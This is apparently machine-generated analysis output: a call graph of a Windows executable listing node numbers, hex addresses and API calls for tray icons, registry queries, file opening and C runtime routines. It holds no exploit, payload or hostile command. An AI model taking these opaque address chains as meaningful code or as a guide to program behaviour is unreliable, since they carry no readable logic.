97719->97677 97751 e3d11f 42 API calls _strftime 97719->97751 97720->97719 97722 dd61c6 97721->97722 97740 dd62a8 97721->97740 97723 dd7ad5 22 API calls 97722->97723 97724 dd61d4 97723->97724 97725 e15278 LoadStringW 97724->97725 97726 dd61e1 97724->97726 97729 e15292 97725->97729 97727 dd8577 22 API calls 97726->97727 97728 dd61f6 97727->97728 97730 dd6203 97728->97730 97737 e152ae 97728->97737 97732 ddbed9 22 API calls 97729->97732 97750 dd6229 ___scrt_fastfail 97729->97750 97730->97729 97731 dd620d 97730->97731 97752 dd6b7c 97731->97752 97732->97750 97736 e152f1 97764 defe6f 51 API calls 97736->97764 97737->97736 97739 ddbf73 22 API calls 97737->97739 97737->97750 97738 dd628e Shell_NotifyIconW 97738->97740 97741 e152d8 97739->97741 97740->97682 97762 e3a350 23 API calls 97741->97762 97744 e152e3 97763 dd7bb5 22 API calls 97744->97763 97745 e15310 97747 dd6b7c 22 API calls 97745->97747 97748 e15321 97747->97748 97749 dd6b7c 22 API calls 97748->97749 97749->97750 97750->97738 97751->97677 97753 dd6b93 97752->97753 97754 e157fe 97752->97754 97765 dd6ba4 97753->97765 97756 df014b 22 API calls 97754->97756 97758 e15808 _wcslen 97756->97758 97757 dd621b 97761 dd7bb5 22 API calls 97757->97761 97759 df017b 22 API calls 97758->97759 97760 e15841 __fread_nolock 97759->97760 97761->97750 97762->97744 97763->97736 97764->97745 97766 dd6bb4 _wcslen 97765->97766 97767 e15860 97766->97767 97768 dd6bc7 97766->97768 97769 df014b 22 API calls 97767->97769 97775 dd7d74 97768->97775 97771 e1586a 97769->97771 97773 df017b 22 API calls 97771->97773 97772 dd6bd4 __fread_nolock 97772->97757 97774 e1589a __fread_nolock 97773->97774 97776 dd7d8a 97775->97776 97779 dd7d85 __fread_nolock 97775->97779 97777 df017b 22 API calls 97776->97777 97778 e16528 97776->97778 97777->97779 97779->97772 97780->97694 97781->97696 97782->97693 97783->97715 97794 e3e80e 97784->97794 97786 e3de86 CloseHandle 97786->97461 97787 e3ddd4 Process32NextW 97787->97786 97792 e3ddcd 97787->97792 97788 ddbf73 22 API calls 97788->97792 97789 ddb329 22 API calls 97789->97792 97792->97786 97792->97787 97792->97788 97792->97789 97800 dd568e 22 API calls 97792->97800 97801 dd7bb5 22 API calls 97792->97801 97802 dee36b 41 API calls 97792->97802 97799 e3e819 97794->97799 97795 e3e830 97804 df666b 39 API calls _strftime 97795->97804 97798 e3e836 97798->97792 97799->97795 97799->97798 97803 df6722 GetStringTypeW _strftime 97799->97803 97800->97792 97801->97792 97802->97792 97803->97799 97804->97798 97806 df014b 22 API calls 97805->97806 97807 dd424e 97806->97807 97807->97467 97808->97470 97810 e56101 97809->97810 97811 e5614f 97809->97811 97812 df017b 22 API calls 97810->97812 97811->97477 97814 e56123 97812->97814 97813 df014b 22 API calls 97813->97814 97814->97811 97814->97813 97825 e41400 22 API calls 97814->97825 97817 e414d2 97816->97817 97818 e41499 97816->97818 97817->97502 97818->97817 97819 df014b 22 API calls 97818->97819 97819->97817 97820->97492 97821->97487 97822->97492 97823->97503 97824->97492 97825->97814 97826 de15ff 97833 dee3d5 97826->97833 97828 de1615 97842 dee439 97828->97842 97830 de163f 97854 e43fe1 82 API calls __wsopen_s 97830->97854 97832 e26207 97834 dee3f6 97833->97834 97835 dee3e3 97833->97835 97837 dee3fb 97834->97837 97838 dee429 97834->97838 97855 ddb4c8 22 API calls 97835->97855 97840 df014b 22 API calls 97837->97840 97856 ddb4c8 22 API calls 97838->97856 97841 dee3ed 97840->97841 97841->97828 97843 dd7ad5 22 API calls 97842->97843 97844 dee470 97843->97844 97845 ddb329 22 API calls 97844->97845 97848 dee4a1 97844->97848 97846 e2e53e 97845->97846 97857 dd7bb5 22 API calls 97846->97857 97848->97830 97849 e2e549 97858 dee7c1 40 API calls 97849->97858 97851 e2e55c 97852 e2e560 97851->97852 97859 ddb4c8 22 API calls 97851->97859 97854->97832 97855->97841 97856->97841 97857->97849 97858->97851 97859->97852 97860 e08782 97865 e0853e 97860->97865 97863 e087aa 97870 e0856f try_get_first_available_module 97865->97870 97867 e0876e 97884 e02b5c 26 API calls __cftof 97867->97884 97869 e086c3 97869->97863 97877 e10d04 97869->97877 97876 e086b8 97870->97876 97880 df917b 40 API calls 2 library calls 97870->97880 97872 e0870c 97872->97876 97881 df917b 40 API calls 2 library calls 97872->97881 97874 e0872b 97874->97876 97882 df917b 40 API calls 2 library calls 97874->97882 97876->97869 97883 dff649 20 API calls __dosmaperr 97876->97883 97885 e10401 97877->97885 97879 e10d1f 97879->97863 97880->97872 97881->97874 97882->97876 97883->97867 97884->97869 97888 e1040d ___BuildCatchObject 97885->97888 97886 e1041b 97943 dff649 20 API calls __dosmaperr 97886->97943 97888->97886 97890 e10454 97888->97890 97889 e10420 97944 e02b5c 26 API calls __cftof 97889->97944 97896 e109db 97890->97896 97895 e1042a __wsopen_s 97895->97879 97946 e107af 97896->97946 97899 e10a26 97964 e05594 97899->97964 97900 e10a0d 97978 dff636 20 API calls __dosmaperr 97900->97978 97903 e10a2b 97904 e10a34 97903->97904 97905 e10a4b 97903->97905 97980 dff636 20 API calls __dosmaperr 97904->97980 97977 e1071a CreateFileW 97905->97977 97909 e10a39 97981 dff649 20 API calls __dosmaperr 97909->97981 97911 e10b01 GetFileType 97912 e10b0c GetLastError 97911->97912 97917 e10b53 97911->97917 97984 dff613 20 API calls __dosmaperr 97912->97984 97913 e10ad6 GetLastError 97983 dff613 20 API calls __dosmaperr 97913->97983 97914 e10a84 97914->97911 97914->97913 97982 e1071a CreateFileW 97914->97982 97986 e054dd 21 API calls 2 library calls 97917->97986 97919 e10a12 97979 dff649 20 API calls __dosmaperr 97919->97979 97920 e10b1a CloseHandle 97920->97919 97923 e10b43 97920->97923 97922 e10ac9 97922->97911 97922->97913 97985 dff649 20 API calls __dosmaperr 97923->97985 97924 e10b74 97926 e10bc0 97924->97926 97987 e1092b 72 API calls 3 library calls 97924->97987 97931 e10bed 97926->97931 97988 e104cd 72 API calls 4 library calls 97926->97988 97927 e10b48 97927->97919 97930 e10be6 97930->97931 97932 e10bfe 97930->97932 97989 e08a2e 97931->97989 97934 e10478 97932->97934 97935 e10c7c CloseHandle 97932->97935 97945 e104a1 LeaveCriticalSection __wsopen_s 97934->97945 98004 e1071a CreateFileW 97935->98004 97937 e10ca7 97938 e10cb1 GetLastError 97937->97938 97939 e10cdd 97937->97939 98005 dff613 20 API calls __dosmaperr 97938->98005 97939->97934 97941 e10cbd 98006 e056a6 21 API calls 2 library calls 97941->98006 97943->97889 97944->97895 97945->97895 97947 e107d0 97946->97947 97948 e107ea 97946->97948 97947->97948 98014 dff649 20 API calls __dosmaperr 97947->98014 98007 e1073f 97948->98007 97950 e10822 97954 e10851 97950->97954 98016 dff649 20 API calls __dosmaperr 97950->98016 97952 e107df 98015 e02b5c 26 API calls __cftof 97952->98015 97961 e108a4 97954->97961 98018 dfda7d 26 API calls 2 library calls 97954->98018 97957 e1089f 97959 e1091e 97957->97959 97957->97961 97958 e10846 98017 e02b5c 26 API calls __cftof 97958->98017 98019 e02b6c 11 API calls _abort 97959->98019 97961->97899 97961->97900 97963 e1092a 97965 e055a0 ___BuildCatchObject 97964->97965 98022 e032d1 EnterCriticalSection 97965->98022 97968 e055cc 98026 e05373 97968->98026 97970 e055a7 97970->97968 97973 e0563a EnterCriticalSection 97970->97973 97976 e055ee 97970->97976 97972 e05617 __wsopen_s 97972->97903 97975 e05647 LeaveCriticalSection 97973->97975 97973->97976 97975->97970 98023 e0569d 97976->98023 97977->97914 97978->97919 97979->97934 97980->97909 97981->97919 97982->97922 97983->97919 97984->97920 97985->97927 97986->97924 97987->97926 97988->97930 98052 e05737 97989->98052 97991 e08a44 98065 e056a6 21 API calls 2 library calls 97991->98065 97993 e08a3e 97993->97991 97994 e05737 __wsopen_s 26 API calls 97993->97994 98003 e08a76 97993->98003 97997 e08a6d 97994->97997 97995 e05737 __wsopen_s 26 API calls 97998 e08a82 CloseHandle 97995->97998 97996 e08a9c 97999 e08abe 97996->97999 98066 dff613 20 API calls __dosmaperr 97996->98066 98000 e05737 __wsopen_s 26 API calls 97997->98000 97998->97991 98001 e08a8e GetLastError 97998->98001 97999->97934 98000->98003 98001->97991 98003->97991 98003->97995 98004->97937 98005->97941 98006->97939 98009 e10757 98007->98009 98008 e10772 98008->97950 98009->98008 98020 dff649 20 API calls __dosmaperr 98009->98020 98011 e10796 98021 e02b5c 26 API calls __cftof 98011->98021 98013 e107a1 98013->97950 98014->97952 98015->97948 98016->97958 98017->97954 98018->97957 98019->97963 98020->98011 98021->98013 98022->97970 98034 e03319 LeaveCriticalSection 98023->98034 98025 e056a4 98025->97972 98035 e04ff0 98026->98035 98028 e05392 98043 e02d38 98028->98043 98029 e05385 98029->98028 98042 e03778 11 API calls 2 library calls 98029->98042 98032 e053e4 98032->97976 98033 e054ba EnterCriticalSection 98032->98033 98033->97976 98034->98025 98040 e04ffd FindHandlerForForeignException 98035->98040 98036 e0503d 98050 dff649 20 API calls __dosmaperr 98036->98050 98037 e05028 RtlAllocateHeap 98038 e0503b 98037->98038 98037->98040 98038->98029 98040->98036 98040->98037 98049 df521d 7 API calls 2 library calls 98040->98049 98042->98029 98044 e02d6c __dosmaperr 98043->98044 98045 e02d43 RtlFreeHeap 98043->98045 98044->98032 98045->98044 98046 e02d58 98045->98046 98051 dff649 20 API calls __dosmaperr 98046->98051 98048 e02d5e GetLastError 98048->98044 98049->98040 98050->98038 98051->98048 98053 e05744 98052->98053 98054 e05759 98052->98054 98067 dff636 20 API calls __dosmaperr 98053->98067 98058 e0577e 98054->98058 98069 dff636 20 API calls __dosmaperr 98054->98069 98057 e05749 98068 dff649 20 API calls __dosmaperr 98057->98068 98058->97993 98059 e05789 98070 dff649 20 API calls __dosmaperr 98059->98070 98062 e05751 98062->97993 98063 e05791 98071 e02b5c 26 API calls __cftof 98063->98071 98065->97996 98066->97999 98067->98057 98068->98062 98069->98059 98070->98063 98071->98062 98072 e12782 98075 dd2ab0 98072->98075 98076 dd2aef mciSendStringW 98075->98076 98077 e13a1a DestroyWindow 98075->98077 98078 dd2b0b 98076->98078 98079 dd2d66 98076->98079 98088 e13a26 98077->98088 98080 dd2b19 98078->98080 98078->98088 98079->98078 98081 dd2d75 UnregisterHotKey 98079->98081 98111 dd2ede 98080->98111 98081->98079 98083 e13a6b 98089 e13a8f 98083->98089 98090 e13a7e FreeLibrary 98083->98090 98084 e13a44 FindClose 98084->98088 98086 dd2b2e 98086->98089 98097 dd2b3c 98086->98097 98088->98083 98088->98084 98122 dd7aab 98088->98122 98091 e13aa3 VirtualFree 98089->98091 98092 e13ad1 98089->98092 98090->98083 98091->98089 98094 dd2ba9 98092->98094 98115 e40b4c 98092->98115 98093 dd2b98 CoUninitialize 98093->98092 98093->98094 98095 dd2bb4 98094->98095 98096 e13aeb 98094->98096 98099 dd2bc4 98095->98099 98103 e13afa messages 98096->98103 98126 e43d30 6 API calls messages 98096->98126 98097->98093 98120 dd2ff4 24 API calls 98099->98120 98101 dd2bda 98121 dd2e1c 22 API calls 98101->98121 98106 e13b89 98103->98106 98127 e36e3b 22 API calls messages 98103->98127 98106->98106 98113 dd2eeb 98111->98113 98112 dd2b20 98112->98083 98112->98086 98113->98112 98128 e37991 22 API calls 98113->98128 98129 e41312 98115->98129 98118 e40b7f DeleteCriticalSection 98118->98094 98119 e40b6b 98119->98118 98120->98101 98123 dd7ab5 98122->98123 98124 dd7ac4 98122->98124 98123->98088 98124->98123 98125 dd7ac9 CloseHandle 98124->98125 98125->98123 98126->98096 98127->98103 98128->98113 98130 e4131b InterlockedExchange 98129->98130 98131 e40b5a CloseHandle 98129->98131 98130->98131 98132 e4132f EnterCriticalSection TerminateThread WaitForSingleObject 98130->98132 98131->98119 98133 e4135c CloseHandle 98132->98133 98134 e41369 InterlockedExchange LeaveCriticalSection 98132->98134 98133->98134 98134->98131 98135 dd1098 98140 dd5fc8 98135->98140 98139 dd10a7 98141 ddbf73 22 API calls 98140->98141 98142 dd5fdf GetVersionExW 98141->98142 98143 dd8577 22 API calls 98142->98143 98144 dd602c 98143->98144 98145 ddadf4 22 API calls 98144->98145 98159 dd6062 98144->98159 98146 dd6056 98145->98146 98161 dd55dc 98146->98161 98147 dd611c GetCurrentProcess IsWow64Process 98149 dd6138 98147->98149 98150 e15269 GetSystemInfo 98149->98150 98151 dd6150 LoadLibraryA 98149->98151 98152 dd619d GetSystemInfo 98151->98152 98153 dd6161 GetProcAddress 98151->98153 98156 dd6177 98152->98156 98153->98152 98155 dd6171 GetNativeSystemInfo 98153->98155 98154 e15224 98155->98156 98157 dd617b FreeLibrary 98156->98157 98158 dd109d 98156->98158 98157->98158 98160 df0413 29 API calls __onexit 98158->98160 98159->98147 98159->98154 98160->98139 98162 dd55ea 98161->98162 98163 ddadf4 22 API calls 98162->98163 98164 dd55fe 98163->98164 98164->98159 98165 dd105b 98170 dd52a7 98165->98170 98167 dd106a 98201 df0413 29 API calls __onexit 98167->98201 98169 dd1074 98171 dd52b7 __wsopen_s 98170->98171 98172 ddbf73 22 API calls 98171->98172 98173 dd536d 98172->98173 98202 dd5594 98173->98202 98175 dd5376 98209 dd5238 98175->98209 98178 dd6b7c 22 API calls 98179 dd538f 98178->98179 98215 dd6a7c 98179->98215 98182 ddbf73 22 API calls 98183 dd53a7 98182->98183 98221 ddbd57 98183->98221 98186 e14be6 RegQueryValueExW 98187 e14c03 98186->98187 98188 e14c7c RegCloseKey 98186->98188 98189 df017b 22 API calls 98187->98189 98191 dd53d2 98188->98191 98197 e14c8e _wcslen 98188->98197 98190 e14c1c 98189->98190 98193 dd423c 22 API calls 98190->98193 98191->98167 98192 dd655e 22 API calls 98192->98197 98194 e14c27 RegQueryValueExW 98193->98194 98195 e14c44 98194->98195 98198 e14c5e messages 98194->98198 98196 dd8577 22 API calls 98195->98196 98196->98198 98197->98191 98197->98192 98199 ddb329 22 API calls 98197->98199 98200 dd6a7c 22 API calls 98197->98200 98198->98188 98199->98197 98200->98197 98201->98169 98227 e122d0 98202->98227 98205 ddb329 22 API calls 98206 dd55c7 98205->98206 98229 dd5851 98206->98229 98208 dd55d1 98208->98175 98210 e122d0 __wsopen_s 98209->98210 98211 dd5245 GetFullPathNameW 98210->98211 98212 dd5267 98211->98212 98213 dd8577 22 API calls 98212->98213 98214 dd5285 98213->98214 98214->98178 98216 dd6a8b 98215->98216 98220 dd6aac __fread_nolock 98215->98220 98218 df017b 22 API calls 98216->98218 98217 df014b 22 API calls 98219 dd539e 98217->98219 98218->98220 98219->98182 98220->98217 98222 dd53b0 RegOpenKeyExW 98221->98222 98223 ddbd71 98221->98223 98222->98186 98222->98191 98224 df014b 22 API calls 98223->98224 98225 ddbd7b 98224->98225 98226 df017b 22 API calls 98225->98226 98226->98222 98228 dd55a1 GetModuleFileNameW 98227->98228 98228->98205 98230 e122d0 __wsopen_s 98229->98230 98231 dd585e GetFullPathNameW 98230->98231 98232 dd587d 98231->98232 98233 dd5898 98231->98233 98234 dd8577 22 API calls 98232->98234 98235 ddbd57 22 API calls 98233->98235 98236 dd5889 98234->98236 98235->98236 98237 dd55dc 22 API calls 98236->98237 98238 dd5895 98237->98238 98238->98208 98239 e21ac5 98240 e21acd 98239->98240 98243 ddd535 98239->98243 98270 e37a87 22 API calls __fread_nolock 98240->98270 98242 e21adf 98271 e37a00 22 API calls __fread_nolock 98242->98271 98245 df014b 22 API calls 98243->98245 98247 ddd589 98245->98247 98246 e21b09 98248 de0340 191 API calls 98246->98248 98250 ddc32d 22 API calls 98247->98250 98249 e21b30 98248->98249 98251 e21b44 98249->98251 98272 e561a2 54 API calls _wcslen 98249->98272 98253 ddd5b3 98250->98253 98254 df014b 22 API calls 98253->98254 98261 ddd66e messages 98254->98261 98255 e21b61 98255->98243 98273 e37a87 22 API calls __fread_nolock 98255->98273 98257 ddc3ab 22 API calls 98267 ddd9ac messages 98257->98267 98260 e21f79 98275 e356ae 22 API calls messages 98260->98275 98261->98260 98263 e21f94 98261->98263 98264 ddbed9 22 API calls 98261->98264 98265 ddc3ab 22 API calls 98261->98265 98266 ddd911 messages 98261->98266 98274 ddb4c8 22 API calls 98261->98274 98264->98261 98265->98261 98266->98257 98266->98267 98268 ddd9c3 98267->98268 98269 dee30a 22 API calls messages 98267->98269 98269->98267 98270->98242 98271->98246 98272->98255 98273->98255 98274->98261 98275->98263 98276 e250ca 98288 ddf800 messages 98276->98288 98278 de0340 191 API calls 98278->98288 98279 e43fe1 82 API calls 98279->98288 98280 de1ca0 22 API calls 98280->98288 98281 ddbe2d 40 API calls 98281->98288 98282 ddbf73 22 API calls 98282->98288 98283 ddfae1 98285 ddbed9 22 API calls 98285->98288 98288->98278 98288->98279 98288->98280 98288->98281 98288->98282 98288->98283 98288->98285 98291 deb35c 191 API calls 98288->98291 98292 df05b2 5 API calls __Init_thread_wait 98288->98292 98293 df0413 29 API calls __onexit 98288->98293 98294 df0568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 98288->98294 98295 e55231 102 API calls 98288->98295 98296 e5731e 191 API calls 98288->98296 98291->98288 98292->98288 98293->98288 98294->98288 98295->98288 98296->98288 98297 dd36f5 98300 dd370f 98297->98300 98301 dd3726 98300->98301 98302 dd372b 98301->98302 98303 dd378a 98301->98303 98341 dd3788 98301->98341 98304 dd3738 98302->98304 98305 dd3804 PostQuitMessage 98302->98305 98307 e13df4 98303->98307 98308 dd3790 98303->98308 98311 e13e61 98304->98311 98312 dd3743 98304->98312 98314 dd3709 98305->98314 98306 dd376f DefWindowProcW 98306->98314 98349 dd2f92 10 API calls 98307->98349 98309 dd37bc SetTimer RegisterWindowMessageW 98308->98309 98310 dd3797 98308->98310 98309->98314 98317 dd37e5 CreatePopupMenu 98309->98317 98315 e13d95 98310->98315 98316 dd37a0 KillTimer 98310->98316 98352 e3c8f7 66 API calls ___scrt_fastfail 98311->98352 98318 dd374d 98312->98318 98319 dd380e 98312->98319 98322 e13dd0 MoveWindow 98315->98322 98323 e13d9a 98315->98323 98324 dd3907 Shell_NotifyIconW 98316->98324 98317->98314 98325 dd3758 98318->98325 98326 e13e46 98318->98326 98347 defcad 59 API calls ___scrt_fastfail 98319->98347 98321 e13e15 98350 def23c 41 API calls 98321->98350 98322->98314 98330 e13da0 98323->98330 98331 e13dbf SetFocus 98323->98331 98332 dd37b3 98324->98332 98333 dd3763 98325->98333 98334 dd37f2 98325->98334 98326->98306 98351 e31423 22 API calls 98326->98351 98327 e13e73 98327->98306 98327->98314 98330->98333 98336 e13da9 98330->98336 98331->98314 98345 dd59ff DeleteObject DestroyWindow 98332->98345 98333->98306 98342 dd3907 Shell_NotifyIconW 98333->98342 98346 dd381f 76 API calls ___scrt_fastfail 98334->98346 98335 dd3802 98335->98314 98348 dd2f92 10 API calls 98336->98348 98341->98306 98343 e13e3a 98342->98343 98344 dd396b 61 API calls 98343->98344 98344->98341 98345->98314 98346->98335 98347->98335 98348->98314 98349->98321 98350->98333 98351->98341 98352->98327 98353 e23c0a 98374 e3c819 98353->98374 98355 e23c14 98357 e3c819 Sleep 98355->98357 98358 e23c3f 98355->98358 98364 ddefdb 98355->98364 98380 deaa65 23 API calls 98355->98380 98357->98355 98359 ddb329 22 API calls 98358->98359 98360 e23c6f 98359->98360 98381 ddbfa5 40 API calls 98360->98381 98362 e23c8b 98382 e4446f 22 API calls 98362->98382 98367 ddf450 98364->98367 98366 ddf097 98368 ddf46f 98367->98368 98369 ddf483 98367->98369 98383 dde960 98368->98383 98415 e43fe1 82 API calls __wsopen_s 98369->98415 98371 ddf47a 98371->98366 98373 e24584 98373->98373 98375 e3c824 98374->98375 98376 e3c83f 98374->98376 98375->98355 98377 e3c86d 98376->98377 98378 e3c85b Sleep 98376->98378 98377->98355 98378->98377 98380->98355 98381->98362 98382->98366 98384 de0340 191 API calls 98383->98384 98385 dde99d 98384->98385 98386 ddedd5 98385->98386 98387 ddea0b messages 98385->98387 98389 ddeac3 98385->98389 98394 ddebb8 98385->98394 98400 e231d3 98385->98400 98402 df014b 22 API calls 98385->98402 98410 ddeb29 __fread_nolock messages 98385->98410 98386->98387 98398 df017b 22 API calls 98386->98398 98387->98371 98389->98386 98391 ddeace 98389->98391 98390 ddecff 98392 e231c4 98390->98392 98393 dded14 98390->98393 98395 df014b 22 API calls 98391->98395 98421 e56162 22 API calls 98392->98421 98397 df014b 22 API calls 98393->98397 98399 df017b 22 API calls 98394->98399 98404 ddead5 __fread_nolock 98395->98404 98408 ddeb6a 98397->98408 98398->98404 98399->98410 98422 e43fe1 82 API calls __wsopen_s 98400->98422 98401 df014b 22 API calls 98403 ddeaf6 98401->98403 98402->98385 98403->98410 98416 ddd260 191 API calls 98403->98416 98404->98401 98404->98403 98406 e231b3 98420 e43fe1 82 API calls __wsopen_s 98406->98420 98408->98371 98410->98390 98410->98406 98410->98408 98411 e2318e 98410->98411 98413 e2316c 98410->98413 98417 dd44fe 191 API calls 98410->98417 98419 e43fe1 82 API calls __wsopen_s 98411->98419 98418 e43fe1 82 API calls __wsopen_s 98413->98418 98415->98373 98416->98410 98417->98410 98418->98408 98419->98408 98420->98408 98421->98400 98422->98387 98423 dd1033 98428 dd68b4 98423->98428 98427 dd1042 98429 ddbf73 22 API calls 98428->98429 98430 dd6922 98429->98430 98436 dd589f 98430->98436 98433 dd69bf 98434 dd1038 98433->98434 98439 dd6b14 22 API calls __fread_nolock 98433->98439 98435 df0413 29 API calls __onexit 98434->98435 98435->98427 98440 dd58cb 98436->98440 98439->98433 98441 dd58be 98440->98441 98442 dd58d8 98440->98442 98441->98433 98442->98441 98443 dd58df RegOpenKeyExW 98442->98443 98443->98441 98444 dd58f9 RegQueryValueExW 98443->98444 98445 dd592f RegCloseKey 98444->98445 98446 dd591a 98444->98446 98445->98441 98446->98445 98447 dff06e 98448 dff07a ___BuildCatchObject 98447->98448 98449 dff09b 98448->98449 98450 dff086 98448->98450 98460 df94fd EnterCriticalSection 98449->98460 98466 dff649 20 API calls __dosmaperr 98450->98466 98453 dff08b 98467 e02b5c 26 API calls __cftof 98453->98467 98454 dff0a7 98461 dff0db 98454->98461 98459 dff096 __wsopen_s 98460->98454 98469 dff106 98461->98469 98463 dff0e8 98465 dff0b4 98463->98465 98489 dff649 20 API calls __dosmaperr 98463->98489 98468 dff0d1 LeaveCriticalSection __fread_nolock 98465->98468 98466->98453 98467->98459 98468->98459 98470 dff12e 98469->98470 98471 dff114 98469->98471 98490 dfdcc5 98470->98490 98500 dff649 20 API calls __dosmaperr 98471->98500 98474 dff119 98501 e02b5c 26 API calls __cftof 98474->98501 98475 dff137 98497 e09789 98475->98497 98479 dff1bf 98482 dff1dc 98479->98482 98488 dff1ee 98479->98488 98480 dff23b 98481 dff248 98480->98481 98480->98488 98503 dff649 20 API calls __dosmaperr 98481->98503 98502 dff41f 31 API calls 4 library calls 98482->98502 98485 dff1e6 98486 dff124 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 98485->98486 98486->98463 98488->98486 98504 dff29b 30 API calls 2 library calls 98488->98504 98489->98465 98491 dfdce6 98490->98491 98492 dfdcd1 98490->98492 98491->98475 98505 dff649 20 API calls __dosmaperr 98492->98505 98494 dfdcd6 98506 e02b5c 26 API calls __cftof 98494->98506 98496 dfdce1 98496->98475 98507 e09606 98497->98507 98499 dff153 98499->98479 98499->98480 98499->98486 98500->98474 98501->98486 98502->98485 98503->98486 98504->98486 98505->98494 98506->98496 98508 e09612 ___BuildCatchObject 98507->98508 98509 e09632 98508->98509 98510 e0961a 98508->98510 98511 e096e6 98509->98511 98516 e0966a 98509->98516 98542 dff636 20 API calls __dosmaperr 98510->98542 98547 dff636 20 API calls __dosmaperr 98511->98547 98514 e0961f 98543 dff649 20 API calls __dosmaperr 98514->98543 98515 e096eb 98548 dff649 20 API calls __dosmaperr 98515->98548 98532 e054ba EnterCriticalSection 98516->98532 98518 e09627 __wsopen_s 98518->98499 98521 e096f3 98549 e02b5c 26 API calls __cftof 98521->98549 98522 e09670 98524 e09694 98522->98524 98525 e096a9 98522->98525 98544 dff649 20 API calls __dosmaperr 98524->98544 98533 e0970b 98525->98533 98528 e09699 98545 dff636 20 API calls __dosmaperr 98528->98545 98530 e096a4 98546 e096de LeaveCriticalSection __wsopen_s 98530->98546 98532->98522 98534 e05737 __wsopen_s 26 API calls 98533->98534 98535 e0971d 98534->98535 98536 e09725 98535->98536 98537 e09736 SetFilePointerEx 98535->98537 98550 dff649 20 API calls __dosmaperr 98536->98550 98539 e0974e GetLastError 98537->98539 98541 e0972a 98537->98541 98551 dff613 20 API calls __dosmaperr 98539->98551 98541->98530 98542->98514 98543->98518 98544->98528 98545->98530 98546->98518 98547->98515 98548->98521 98549->98518 98550->98541 98551->98541 98552 e25650 98553 dee3d5 22 API calls 98552->98553 98554 e25666 98553->98554 98560 e256e1 98554->98560 98561 deaa65 23 API calls 98554->98561 98556 e256c1 98556->98560 98562 e4247e 22 API calls 98556->98562 98558 e261d7 98560->98558 98563 e43fe1 82 API calls __wsopen_s 98560->98563 98561->98556 98562->98560 98563->98558 98564 df076b 98565 df0777 ___BuildCatchObject 98564->98565 98594 df0221 98565->98594 98567 df077e 98568 df08d1 98567->98568 98571 df07a8 98567->98571 98635 df0baf IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 98568->98635 98570 df08d8 98628 df51c2 98570->98628 98583 df07e7 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 98571->98583 98605 e027ed 98571->98605 98578 df07c7 98580 df0848 98613 df0cc9 98580->98613 98582 df084e 98617 dd331b 98582->98617 98583->98580 98631 df518a 38 API calls 3 library calls 98583->98631 98588 df086a 98588->98570 98590 df086e 98588->98590 98589 df0877 98634 df03b0 13 API calls 2 library calls 98589->98634 98590->98589 98633 df5165 28 API calls _abort 98590->98633 98593 df087f 98593->98578 98595 df022a 98594->98595 98637 df0a08 IsProcessorFeaturePresent 98595->98637 98597 df0236 98638 df3004 10 API calls 3 library calls 98597->98638 98599 df023b 98604 df023f 98599->98604 98639 e02687 98599->98639 98602 df0256 98602->98567 98604->98567 98607 e02804 98605->98607 98606 df0dfc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 98608 df07c1 98606->98608 98607->98606 98608->98578 98609 e02791 98608->98609 98610 e027c0 98609->98610 98611 df0dfc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 98610->98611 98612 e027e9 98611->98612 98612->98583 98695 df26b0 98613->98695 98616 df0cef 98616->98582 98618 dd3327 IsThemeActive 98617->98618 98620 dd3382 98617->98620 98697 df52b3 98618->98697 98632 df0d02 GetModuleHandleW 98620->98632 98621 dd3352 98703 df5319 98621->98703 98623 dd3359 98710 dd32e6 SystemParametersInfoW SystemParametersInfoW 98623->98710 98625 dd3360 98711 dd338b 98625->98711 98627 dd3368 SystemParametersInfoW 98627->98620 99570 df4f3f 98628->99570 98631->98580 98632->98588 98633->98589 98634->98593 98635->98570 98637->98597 98638->98599 98643 e0d576 98639->98643 98642 df302d 8 API calls 3 library calls 98642->98604 98646 e0d593 98643->98646 98647 e0d58f 98643->98647 98645 df0248 98645->98602 98645->98642 98646->98647 98650 e04f6e 98646->98650 98662 e04eb8 98646->98662 98667 df0dfc 98647->98667 98651 e04f7a ___BuildCatchObject 98650->98651 98674 e032d1 EnterCriticalSection 98651->98674 98653 e04f81 98675 e05422 98653->98675 98655 e04f90 98661 e04f9f 98655->98661 98688 e04e02 29 API calls 98655->98688 98658 e04f9a 98660 e04eb8 2 API calls 98658->98660 98659 e04fb0 __wsopen_s 98659->98646 98660->98661 98689 e04fbb LeaveCriticalSection _abort 98661->98689 98663 e04ebf 98662->98663 98664 e04f02 GetStdHandle 98663->98664 98665 e04f6a 98663->98665 98666 e04f15 GetFileType 98663->98666 98664->98663 98665->98646 98666->98663 98668 df0e07 IsProcessorFeaturePresent 98667->98668 98669 df0e05 98667->98669 98671 df0fce 98668->98671 98669->98645 98694 df0f91 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 98671->98694 98673 df10b1 98673->98645 98674->98653 98676 e0542e ___BuildCatchObject 98675->98676 98677 e05452 98676->98677 98678 e0543b 98676->98678 98690 e032d1 EnterCriticalSection 98677->98690 98691 dff649 20 API calls __dosmaperr 98678->98691 98681 e05440 98692 e02b5c 26 API calls __cftof 98681->98692 98683 e0548a 98693 e054b1 LeaveCriticalSection _abort 98683->98693 98684 e0544a __wsopen_s 98684->98655 98685 e0545e 98685->98683 98687 e05373 __wsopen_s 21 API calls 98685->98687 98687->98685 98688->98658 98689->98659 98690->98685 98691->98681 98692->98684 98693->98684 98694->98673 98696 df0cdc GetStartupInfoW 98695->98696 98696->98616 98698 df52bf ___BuildCatchObject 98697->98698 98760 e032d1 EnterCriticalSection 98698->98760 98700 df52ca pre_c_initialization 98761 df530a 98700->98761 98702 df52ff __wsopen_s 98702->98621 98704 df533f 98703->98704 98705 df5325 98703->98705 98704->98623 98705->98704 98765 dff649 20 API calls __dosmaperr 98705->98765 98707 df532f 98766 e02b5c 26 API calls __cftof 98707->98766 98709 df533a 98709->98623 98710->98625 98712 dd339b __wsopen_s 98711->98712 98713 ddbf73 22 API calls 98712->98713 98714 dd33a7 GetCurrentDirectoryW 98713->98714 98767 dd4fd9 98714->98767 98716 dd33ce IsDebuggerPresent 98717 dd33dc 98716->98717 98718 e13ca3 MessageBoxA 98716->98718 98719 e13cbb 98717->98719 98720 dd33f0 98717->98720 98718->98719 98871 dd4176 22 API calls 98719->98871 98835 dd3a95 98720->98835 